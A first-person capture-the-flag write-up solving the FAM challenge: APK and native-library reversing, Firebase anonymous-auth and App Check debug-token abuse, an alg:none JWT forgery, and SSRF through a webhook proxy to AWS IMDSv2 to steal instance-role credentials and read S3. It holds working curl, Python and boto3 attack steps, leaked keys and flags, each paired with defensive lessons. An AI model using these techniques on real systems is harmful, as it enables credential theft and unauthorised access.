How I Completed the FAM CTF Secret-Finder Bounty — From APK Strings to Cloud SSRF

This is how I solved the FAM CTF secret-finder bounty end to end — an Android APK (fam.apk, package com.ctf.fam) plus its backends: a Firebase project (fam-ctf), a web portal at ctf.fampay.co/famctf, and a public EC2 “NexOps” monitoring instance.

Total haul: 950+ pts across static (APK reversing) and dynamic (Firebase, web, cloud/AWS) tracks.

Tools I used: apktool (via a patched secret_finder.py), apkleaks (docker), strings / objdump / readelf for native reversing, curl for all HTTP/REST work, and boto3 for AWS SigV4 signing.


0. Setup — fixing my static analysis tooling first #

Before I could even start, my scanner was broken.

0.1 Fixing <code>secret_finder.py</code> #

The bundled secret_finder.py (a static APK secret scanner) crashed immediately on Python 3.11+ with:

An unexpected error occurred: global flags not at the start of the expression at position 91

I dug in and found the root cause in build_combined_regex() — it joins ~40 individual regexes with | into one big alternation. Several source patterns embed an inline global flag, e.g. re.compile(r'(?i)aws...'). Python 3.11 made it an error for (?i) to appear anywhere except position 0 of the whole compiled expression — so as soon as a second (?i)... pattern got concatenated in, compilation failed.

My fix was to rewrite any leading (?i) into a scoped inline flag group (?i:...), which Python permits anywhere:

pattern_text = pattern_info["Regex"].pattern
if pattern_text.startswith('(?i)'):
    pattern_text = f'(?i:{pattern_text[4:]})'
all_patterns.append(f'(?P<{group_name}>{pattern_text})')

One-line conceptual fix, but without it nothing else worked.

0.2 Running the scans #

Once fixed, I ran both scanners:

python secret_finder.py            # advanced scan, decompiles via apktool, ~18k files, ~10 min
docker run -i --rm -v /tmp:/tmp dwisiswant0/apkleaks:latest -f /tmp/fam.apk -o /tmp/apkleaks_report.txt

The apkleaks docker image ships without a JRE (its bundled jadx decompiler needs Java). I worked around it by installing a headless JRE inside the container at run time:

docker run -i --rm -v /tmp:/tmp --entrypoint sh dwisiswant0/apkleaks:latest -c '
  apt-get update -qq && apt-get install -y -qq default-jre-headless
  export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))
  python3 apkleaks.py -f /tmp/fam.apk -o /tmp/apkleaks_report.txt
'

Both tools agreed on the key findings:

TypeValue
Google Cloud API KeyAIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww
Firebase RTDB (full URL, apkleaks only)https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app
Firebase project number / app id674578159678 / 1:674578159678:android:775058d15777caf841996f

These three values became my credentials for almost everything that followed.


[01] THE LIBRARY — 100 pts #

Many times devs put secrets in code and forget to remove. Can you find that secret?

I started with the easiest hint — “the library”. The app declares a JNI native method:

.method public final native getSecretFromNative()Ljava/lang/String;

implemented in lib/{arm64-v8a,x86_64}/libfam.so. Literally “the library”. So I just ran strings on the shared object:

strings -n 6 lib/arm64-v8a/libfam.so | grep -iE "fam|flag|secret|ctf"

The flag was sitting there as a plain, unobfuscated ASCII string in .rodata (I confirmed via objdump -s -j .rodata, offset 0x2f99, right next to the FDE has zero length / libunwind noise strings the compiler had also placed there):

FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}

Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}

What I learned: hardcoding secrets in native code gives zero real obfuscation — strings defeats it as easily as decompiling Java/Kotlin.


[02] THE DATABASE — 200 pts #

The door is open to anyone. You don’t need a name to enter, but the room still has a lock. hint: identity is optional here

Decompiling MainActivity.verifyFlag2(), I found a Firebase Realtime Database reference:

const-string v0, "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app"
invoke-static {v0}, Lcom/google/firebase/database/FirebaseDatabase;->getInstance(...)
const-string v1, "flag"
invoke-virtual {v0, v1}, ...->getReference(...)

The hint (“identity is optional”) clicked for me — Firebase anonymous authentication. The security rules probably just required auth != null, not a specific user.

Here’s the exploit chain I used:

1. Sign up anonymously using the API key from static analysis, via the Identity Toolkit REST API:

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'

The response includes an idToken (a signed Firebase Auth JWT) tied to a brand-new anonymous localId — no credentials needed.

2. Use that idToken as the RTDB REST auth parameter:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"
# -> "FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"

Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}

What I learned: Firebase rules that check only auth != null (rather than a specific UID, custom claim, or role) are trivially bypassed — anonymous sign-in is free and instant for anyone holding the app’s public API key (which is not a secret in Firebase’s model, but these rules assumed otherwise).


[03] THE VAULT — 300 pts #

The vault trusts no one it hasn’t met. But the app already made introductions. Something in the code proves who you are. hint: the token is hiding in plain sight

This one was harder. MainActivity.verifyFlag3() reads from Firestore (flags/flag3), gated behind Firebase App Check. The app ships a custom AppCheckProviderFactory:

  • DebugTokenAppCheckProviderFactory / DebugTokenAppCheckProvider (com/ctf/fam/*.smali) — instead of using Google’s stock debug provider, the app manually POSTs a debug_token to https://firebaseappcheck.googleapis.com/v1/projects/{projectNumber}/apps/{appId}:exchangeDebugToken with header X-Goog-Api-Key, and reads back a real App Check token.
  • MainActivity.getDebugToken() — another native method supplying the debug_token value.

So the “introduction the app already made” was a debug secret registered server-side. App Check’s whole point is proving “this request comes from my real app binary” — a debug token is an escape hatch for local dev that bypasses that check entirely once leaked.

Recovering the debug token by reversing native code #

arm64 strings came up empty for anything token-shaped — the value isn’t a plain literal, it’s computed at runtime. I had no arm64 disassembler available (stock binutils objdump can’t target aarch64, no radare2/llvm-objdump installed), so I disassembled the x86_64 build of the same libfam.so instead (same source, different ABI, and the host’s objdump handles x86_64 natively):

objdump -d --no-show-raw-insn -M intel lib/x86_64/libfam.so

Java_com_ctf_fam_MainActivity_getDebugToken (0x6c30) turned out to be a 36-iteration loop (0x24 = 36, matching UUID length 8-4-4-4-12):

6c80: mov  rcx, [rbp-0x48]        ; rcx = i
6c84: movabs rdx, 0xd79435e50d79435f
6c8e: mov  rax, rcx
6c91: mul  rdx                    ; unsigned-division-by-constant trick
6c94: shr  rdx, 0x4                ; rdx = i / 19
6c98: lea  rax, [rdx+rdx*8]        ; rax = 9*(i/19)
6c9c: lea  rax, [rdx+rax*2]        ; rax = 19*(i/19)
6ca0: sub  rcx, rax                ; rcx = i mod 19
6ca3: lea  rax, [rip+...]          ; -> table1 @ file offset 0x34f0 (len 19)
6caa: mov  al, [rax+rcx]           ; al = table1[i mod 19]
6cad: xor  al, 0xaa                ; al ^= 0xAA  -> per-position key byte
6cb2: mov  rax, [rbp-0x48]         ; rax = i (unreduced)
6cb6: lea  rcx, [rip+...]          ; -> table2 @ file offset 0x3510 (len 36, ciphertext)
6cbd: movzx eax, [rax+rcx]         ; eax = table2[i]
6cc1: movzx ecx, [rbp-0x49]        ; ecx = key byte from above
6cc5: xor  eax, ecx                ; plaintext char = table2[i] ^ key
6cc7: movsx esi, al
6cce: call ...push_back(rdi, esi)  ; append char to std::string result

In short: token[i] = table2[i] XOR (table1[i % 19] XOR 0xAA) for i in 0..35. I replicated it in Python against the raw bytes at those two file offsets:

data = open('lib/x86_64/libfam.so', 'rb').read()
table1 = data[0x34f0:0x34f0+19]
table2 = data[0x3510:0x3510+36]
token = ''.join(chr(table2[i] ^ (table1[i % 19] ^ 0xAA)) for i in range(36))
# -> 8F76557D-A35A-4B51-94D4-D0DF98D79B55

Using the token #

1. Exchange the debug token for a real App Check token, exactly the way the app’s own provider does:

curl -X POST "https://firebaseappcheck.googleapis.com/v1/projects/674578159678/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken" \
  -H "Content-Type: application/json" \
  -H "X-Goog-Api-Key: AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -d '{"debug_token":"8F76557D-A35A-4B51-94D4-D0DF98D79B55"}'
# -> {"token": "...", "ttl": "3600s"}

2. Call the Firestore REST API directly (no Firebase Auth needed — App Check alone satisfied the rule):

curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
  -H "X-Firebase-AppCheck: <appCheckToken>"
# -> {"fields":{"value":{"stringValue":"FAM{4pp_ch3ck_byp4ss_g00d_j0b}"}}}

Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}

What I learned: shipping a hardcoded/computed App Check debug token in a production APK completely defeats App Check — anyone who extracts it can mint valid attestation tokens indefinitely, from anywhere.


[05] THE VAULT DOOR — 350 pts #

NexaVault is an internal credential management portal used by engineering teams. Only administrators can open the Vault… Target: https://ctf.fampay.co/famctf/

This shifted from mobile to web. Recon:

  • /famctf/register and /famctf/login — plain username/password forms.
  • Registering returns Set-Cookie: nx_access=<JWT>; HttpOnly.
  • I decoded the JWT (standard base64url, no verification needed to read it):
header:  {"alg":"HS256","typ":"JWT"}
payload: {"sub":"tester_...","role":"user"}

Attempt 1 — mass assignment (failed). I POSTed extra fields to /register (role=admin, is_admin=true, admin=true) hoping the backend blindly bound the form body. It didn’t — server always issued role: "user".

Attempt 2 (worked) — JWT alg:none bypass. I tested whether the server actually verifies the signature, or just trusts the payload. I forged a token with alg: none and an empty signature:

import base64, json
def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b'=').decode()
header  = {"alg": "none", "typ": "JWT"}
payload = {"sub": "tester_...", "role": "admin"}
token = b64e(json.dumps(header,  separators=(',',':')).encode()) + '.' + \
        b64e(json.dumps(payload, separators=(',',':')).encode()) + '.'
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ0ZXN0ZXJfLi4uIiwicm9sZSI6ImFkbWluIn0.
curl -H "Cookie: nx_access=<forged_token>" https://ctf.fampay.co/famctf/dashboard
# -> dashboard rendered with pill-admin, "Admin Vault: Granted"
curl -H "Cookie: nx_access=<forged_token>" https://ctf.fampay.co/famctf/admin
# -> vault page rendered FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d} in a .flag-val block

Flag: FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}

What I learned: the server accepted "alg":"none" without signature verification — a classic JWT misconfiguration. Authorization (role) was trusted straight out of an unverified client token.


Cloud / SSRF Challenge — unnumbered #

An internal DevOps monitoring dashboard was accidentally deployed with debug endpoints enabled on a public EC2 instance… Target: http://13.234.116.174/

The landing page (“NexOps Dashboard”, Flask/Werkzeug) listed its own API surface:

GET  /status
GET  /metrics/system
GET  /metrics/config
GET  /metrics/endpoints
POST /internal/webhook   (marked "internal")

/metrics/config — a debug endpoint left enabled — dumped exactly what I needed:

{
  "flags": {"debug_endpoints": true, "metrics_auth": false, "webhook_enabled": true},
  "identity": {
    "imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "note": "credentials scoped to storage prefix only"
  },
  "storage": {
    "access": "instance-role", "backend": "s3",
    "bucket": "fam-ctf-cloud-challenge",
    "note": "bucket access restricted to requests originating from within vpc",
    "prefix": "players/181", "region": "ap-south-1"
  }
}

/internal/webhook turned out to be a generic outbound-request proxy (SSRF by design), which self-documented its allow-list when called incorrectly:

{"error":"Missing 'url' parameter",
 "note":"Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
 "usage":"POST /internal/webhook?url=<target>"}

Step 1 — bypass the IP filter #

Direct 169.254.169.254 was rejected:

{"error":"Direct access to internal IP ranges is not allowed.",
 "hint":"Try harder. The instance has a name."}

The hint (“the instance has a name”) pointed me at the legacy AWS metadata hostname alias, instance-data (an /etc/hosts entry on many EC2 AMIs that resolves to the same 169.254.169.254 but doesn’t match a naive IP blocklist):

curl -X POST "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/"
# -> {"body":"","status":401,...}   (IMDSv2 requires a token first)

Step 2 — full IMDSv2 dance through the proxy #

The proxy forwards method + headers, so the standard two-step IMDSv2 flow works end to end:

# a) mint a token (PUT + TTL header)
curl -X PUT "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# -> {"body":"AQAEAIlolxdy92QssyKK2uoN2VpYjfF460HqWEB_pUbeCDykhc8WzA==", "status":200}

# b) list the role name
curl -X GET "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/" \
  -H "X-aws-ec2-metadata-token: <token>"
# -> "ctf-cloud-player-181"

# c) fetch temporary credentials
curl -X GET "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-181" \
  -H "X-aws-ec2-metadata-token: <token>"
# -> {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..."}

Step 3 — bucket only trusts VPC-origin requests #

Calling S3 directly from outside would be blocked by the bucket policy’s VPC-source condition. Since the proxy also allows *.amazonaws.com and runs from inside the VPC, I generated fully self-contained presigned SigV4 URLs locally (with the stolen temp creds via boto3) and had the proxy fetch them — the signature travels entirely in the URL:

import boto3
session = boto3.Session(
    aws_access_key_id="ASIA...", aws_secret_access_key="...",
    aws_session_token="...", region_name="ap-south-1")
s3 = session.client("s3")
url = s3.generate_presigned_url("list_objects_v2",
    Params={"Bucket": "fam-ctf-cloud-challenge", "Prefix": "players/181/"},
    ExpiresIn=300)
curl -G "http://13.234.116.174/internal/webhook" --data-urlencode "url=<presigned_url>"

One gotcha: listing without the trailing slash (or plain ListBucket without prefix scoping) hit AccessDenied — the IAM policy scopes s3:ListBucket to the exact prefix players/181/*. Listing players/181/ succeeded with exactly one object: players/181/flag.txt. A presigned GetObject for that key returned:

FAM{cl0ud_ssrf_imds_6eb05138ca37}

Flag: FAM{cl0ud_ssrf_imds_6eb05138ca37}

What I learned: three survivable misconfigurations combined into full compromise: (1) a debug endpoint exposing architecture, (2) an SSRF proxy with a naive string/IP allow-list bypassable via the instance-data alias, (3) a “VPC-origin only” bucket policy that constrains where the request comes from, not what makes it — an in-VPC proxy forwards arbitrarily signed AWS calls on an attacker’s behalf.


Summary #

#ChallengePointsFlag
01THE LIBRARY100FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
02THE DATABASE200FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}
03THE VAULT300FAM{4pp_ch3ck_byp4ss_g00d_j0b}
05THE VAULT DOOR350FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
—Cloud/SSRF—FAM{cl0ud_ssrf_imds_6eb05138ca37}

The through-line of this whole bounty: never trust the client. Native strings, public API keys, debug tokens shipped in prod, unsigned JWT roles, and an in-VPC SSRF proxy — each one was the server believing something the client told it. Once I stopped asking “is this allowed?” and started asking “does the server actually verify this?”, every door opened.